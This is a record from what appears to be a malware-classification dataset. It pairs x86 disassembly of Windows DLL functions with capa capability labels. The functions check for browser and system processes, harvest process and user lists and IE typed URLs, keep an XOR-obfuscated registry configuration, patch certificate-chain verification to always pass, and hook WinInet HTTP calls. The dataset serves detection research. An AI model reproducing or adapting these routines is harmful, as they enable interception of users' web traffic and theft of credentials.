joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001d30
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov esi, 1
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10001e96
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.kernel32.dll
mov dword [ebp - 4], 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001db3
push str.IsWow64Process
push eax
call ebx
mov esi, eax
test esi, esi
je 0x10001db3
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x10001ddd
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10001ddd
push str._svchost.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10001e9d
push str.kernel32.dll
mov dword [ebp - 4], 0
call edi
test eax, eax
je 0x10001e0a
push str.IsWow64Process
push eax
call ebx
mov esi, eax
test esi, esi
je 0x10001e0a
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
je 0x10001e39
call esi
test eax, eax
jne 0x10001e39
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
push str.iexplore.exeopera.exejava.exejavaw.exeexplorer.exeisclient.exeintpro.exemnp.exeloadmain.exefirefox.execlmain.execore.exemaxthon.exeavant.exesafari.exesvchost.exechrome.exenotepad.exe
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10001e9d
call esi
test eax, eax
je 0x10001e55
push str.winlogon.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10001e9d
call esi
test eax, eax
jne 0x10001e8d
push str.explorer.exe
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10001e8d
push str.876E6E8E_6CEB_4806_ABD7_2340DA75D989
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10001e9d
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001eb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.SoftwareMicrosoft
push 0x80000001
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001f0b
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x10020a9c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10001f19
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x10001f20
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp + 8], 0xffff
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.SoftwareMicrosoft
push 0x80000001
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001f77
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp + 8]
push ecx
push 4
push eax
push 0x10020a9c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10001f77
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10001f85
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 4
Function at 0x100028e0
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14c
push ebx
push esi
push edi
mov ecx, 6
mov esi, str.taskmgr_nPID_tProcess_name_n
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
push 0x124
movsw word es:[edi], word [esi]
lea eax, [esp + 0x38]
push 0
push eax
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x3c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [esp + 0xc], ebx
cmp ebx, 0xffffffff
je 0x10002a9e
lea ecx, [esp + 0x30]
push ecx
push ebx
mov dword [esp + 0x38], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x1000295f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea eax, [esp + 0x14]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002966
sub eax, edx
lea edi, [eax + 0x10cf2]
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x1000294f
lea eax, [esp + 0x14]
mov edx, esi
mov ecx, eax
sub edx, ecx
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10002990
mov ebx, dword [sym.imp.MSVCRT.dll__snprintf]
mov edx, dword [esp + 0x38]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x10002a0b
push 0x104
lea ecx, [esp + 0x58]
push ecx
push 0
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
lea eax, [esp + 0x54]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100029d0
sub eax, edx
jne 0x10002a0b
mov edx, dword [str._System_Process_]
mov eax, dword [0x1001b918]
mov ecx, dword [0x1001b91c]
mov dword [esp + 0x54], edx
mov edx, dword [0x1001b920]
mov dword [esp + 0x58], eax
mov al, byte [0x1001b924]
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x60], edx
mov byte [esp + 0x64], al
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002a10
sub eax, edx
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x54]
push ecx
push edx
push str._d_t_s_n
add eax, esi
push edi
push eax
call ebx
mov ecx, dword [esp + 0x20]
add esp, 0x14
lea eax, [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100029a0
lea eax, [esi - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002a50
mov dx, word [0x1001b8f4]
mov word [eax], dx
mov cl, byte [0x1001b8f6]
mov byte [eax + 2], cl
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002a70
sub eax, edx
push 0
lea edx, [esp + 0x10]
push edx
push eax
mov eax, dword [ebp + 8]
push esi
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10002ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [str.netuser_n]
mov ecx, dword [0x1001b934]
mov dx, word [0x1001b938]
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
lea ebx, [ebx]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
push 0x3e8
push edx
push 1
push 0
call dword [sym.imp.NETAPI32.dll_NetQueryDisplayInformation]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10002b0f
cmp eax, 0xea
jne 0x10002bc2
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x1c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002b18
mov esi, dword [ebp - 4]
inc esi
imul esi, esi, 0x64
sub eax, edx
add esi, eax
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10002bfc
lea eax, [ebp - 0x1c]
mov edx, ebx
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10002b47
cmp dword [ebp - 4], 0
je 0x10002b8c
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002b60
sub eax, edx
mov edx, dword [edi]
push edx
push 0x1001b93c
add eax, ebx
push esi
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [edi + 0x14]
add esp, 0x10
add edi, 0x18
dec dword [ebp - 4]
mov dword [ebp - 8], eax
jne 0x10002b57
lea eax, [ebx - 1]
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002b90
mov cx, word [0x1001b8f4]
mov word [eax], cx
mov dl, byte [0x1001b8f6]
mov byte [eax + 2], dl
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp dword [ebp - 0x10], 0xea
je 0x10002ae0
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002bc7
push 0
lea ecx, [ebp - 0x10]
push ecx
sub eax, edx
mov edx, dword [ebp + 8]
push eax
push ebx
push edx
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push edi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10002c10
Capabilities:
Query or enumerate registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
lea eax, [ebp - 0xc]
push eax
push 0x20119
xor ebx, ebx
push ebx
push str.SoftwareMicrosoftInternet_ExplorerTypedURLs
push 0x80000001
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002d9d
push 0x104
lea ecx, [ebp - 0x118]
push ebx
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
test eax, eax
je 0x10002d93
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x10002c70
push 0x104
lea edx, [ebp - 0x21c]
push ebx
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
test eax, eax
je 0x10002d92
mov eax, dword [ebp - 0x10]
inc eax
push eax
push str.url_i
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x118]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
test eax, eax
je 0x10002d92
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x21c]
push edx
push ebx
push ebx
lea eax, [ebp - 0x118]
push eax
push ecx
mov dword [ebp - 0x14], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10002d92
cmp dword [ebp - 8], ebx
jne 0x10002d02
push ebx
lea edx, [ebp - 4]
push edx
push 0xd
push str.IE_history:_n
push edi
mov dword [ebp - 8], 1
mov dword [ebp - 4], ebx
call esi
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
jmp 0x10002d10
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002d10
push ebx
lea ecx, [ebp - 4]
push ecx
sub eax, edx
push eax
lea edx, [ebp - 0x118]
push edx
push edi
mov dword [ebp - 4], ebx
call esi
push ebx
lea eax, [ebp - 4]
push eax
push 2
push 0x1001b988
push edi
mov dword [ebp - 4], ebx
call esi
lea eax, [ebp - 0x21c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10002d47
push ebx
sub eax, ecx
lea ecx, [ebp - 4]
push ecx
push eax
lea edx, [ebp - 0x21c]
push edx
push edi
mov dword [ebp - 4], ebx
call esi
push ebx
lea eax, [ebp - 4]
push eax
push 2
push 0x1001b8f4
push edi
mov dword [ebp - 4], ebx
call esi
push 0x104
lea ecx, [ebp - 0x118]
push ebx
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
test eax, eax
jne 0x10002c70
pop esi
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003f60
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
cmp eax, edi
je 0x10003fcc
cmp dword [ebp + 8], edi
je 0x10003fcc
cmp ebx, edi
je 0x10003fcc
push esi
push edi
push 0x80
push 2
push edi
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003fc2
mov ecx, dword [ebp + 8]
push edi
lea eax, [ebp - 4]
push eax
push ebx
push ecx
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003fbb
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x10003fbb
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10003fe0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
test eax, eax
je 0x100040c4
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, 0xffffffff
je 0x100040c4
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100040bd
cmp dword [ebp + 0xc], esi
je 0x1000403e
inc ebx
xor esi, esi
test ebx, ebx
je 0x1000406f
lea edi, [ebx + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000406c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [ebp - 4]
mov dword [ebp + 0xc], esi
test esi, esi
je 0x100040ba
push 0
lea ecx, [ebp - 4]
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100040ba
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100040b3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp + 0xc], 0
mov esi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
je 0x100040e5
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x100040e7
mov dword [edi], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10007240
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0
push 0
push str.Crypt32.dll
mov dword [ebp - 0xc], 0xc240c033
mov word [ebp - 8], 0x10
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100072b0
push str.CertVerifyCertificateChainPolicy
push eax
call edi
mov esi, eax
test esi, esi
je 0x100072b0
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call ebx
test eax, eax
je 0x100072b0
mov eax, dword [ebp - 4]
test eax, eax
je 0x100072b0
mov ecx, dword [ebp - 0xc]
mov dx, word [ebp - 8]
mov dword [esi], ecx
lea ecx, [ebp - 4]
push ecx
push eax
push 6
push esi
mov word [esi + 4], dx
call ebx
push 0
push 0
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
je 0x10007425
push 0x1001bf70
push esi
call edi
test eax, eax
je 0x100072e6
push 0x1001f8cc
push 0x10006d70
mov ebx, eax
call fcn.1000e2a0
push str.HttpSendRequestW
push esi
call edi
test eax, eax
je 0x10007303
push 0x1001f8d0
push 0x10006c60
mov ebx, eax
call fcn.1000e2a0
push str.HttpSendRequestExA
push esi
call edi
test eax, eax
je 0x10007320
push 0x1001f8c4
push 0x10006f40
mov ebx, eax
call fcn.1000e2a0
push str.HttpSendRequestExW
push esi
call edi
test eax, eax
je 0x1000733d
push 0x1001f8e4
push 0x10006e80
mov ebx, eax
call fcn.1000e2a0
push 0x1001bfc0
push esi
call edi
test eax, eax
je 0x1000735a
push 0x1001f8e8
push 0x10007170
mov ebx, eax
call fcn.1000e2a0
push str.HttpOpenRequestW
push esi
call edi
test eax, eax
je 0x10007377
push 0x1001f8bc
push 0x100071c0
mov ebx, eax
call fcn.1000e2a0
push str.InternetQueryDataAvailable
push esi
call edi
test eax, eax
je 0x10007394
push 0x1001f8dc
push 0x100070e0
mov ebx, eax
call fcn.1000e2a0
push 0x1001c004
push esi
call edi
test eax, eax
je 0x100073b1
push 0x1001f8e0
push 0x10006ff0
mov ebx, eax
call fcn.1000e2a0
push str.InternetReadFileExA
push esi
call edi
test eax, eax
je 0x100073ce
push 0x1001f8c8
push 0x10007090
mov ebx, eax
call fcn.1000e2a0
push str.InternetReadFileExW
push esi
call edi
test eax, eax
je 0x100073eb
push 0x1001f8b4
push 0x10007040
mov ebx, eax
call fcn.1000e2a0
push str.InternetWriteFile
push esi
call edi
test eax, eax
je 0x10007408
push 0x1001f8d4
push 0x10007210
mov ebx, eax
call fcn.1000e2a0
push 0x1001c054
push esi
call edi
test eax, eax
je 0x10007425
push 0x1001f8b8
push 0x10006ae0
mov ebx, eax
call fcn.1000e2a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007760
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.SoftwareMicrosoft
xor edx, edx
push ecx
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100078bb
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
push ecx
push ebx
push 0x10020998
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100078bb
mov word [ebp - 0x10], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x10007810
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x20
jl 0x10007837
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10007822
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.1000c080
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10007862
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x1000789a
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x1000789a
push edi
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x100078ba
lea eax, [ebp - 0x214]
mov ecx, eax
sub esi, ecx
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x100078b0
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100078c9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100078e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20b]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 8], cx
mov byte [ebp - 0x20c], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
xor edi, edi
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x10007a05
lea edx, [ebp - 0x20c]
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10007940
xor eax, eax
mov word [ebp - 8], 1
xor ecx, ecx
jmp 0x10007960
mov byte [ebp + ecx - 0x108], cl
inc ecx
cmp ecx, 0x100
jl 0x10007960
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x108], dl
inc eax
cmp eax, 0x20
jl 0x10007987
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10007972
lea eax, [ebp - 0x20c]
push eax
mov ecx, eax
mov edx, 0x104
lea eax, [ebp - 0x108]
call fcn.1000c080
mov edx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push str.SoftwareMicrosoft
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100079f7
mov ecx, dword [ebp - 4]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 1
push ebx
push 0x10020998
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100079f7
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10007a05
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10008160
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
push 0
push 0x1001fcb8
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10020894
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100081a8
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100081b8
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10008229
push 1
push 0
lea eax, [ebp - 0x108]
call fcn.10003fe0
mov esi, eax
test esi, esi
je 0x10008229
push 0x104
push esi
push 0x1001fcb8
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10008229
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 0x1001fcb8
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100088f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
je 0x100089a6
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea esi, [ebp - 0x108]
call fcn.10008160
lea ebx, [ebx]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10008950
test cl, cl
je 0x1000894c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10008950
add eax, 2
add esi, 2
test cl, cl
jne 0x10008930
xor eax, eax
jmp 0x10008955
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100089a6
mov eax, dword [0x1001fcb4]
mov dword [0x1001fdbc], 1
test eax, eax
je 0x1000899a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
mov esi, eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10008990
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x1001fcb4], 0
lea edx, [ebp - 0x108]
push edx
call fcn.10008240
pop edi
pop esi
mov esp, ebp
pop ebp
ret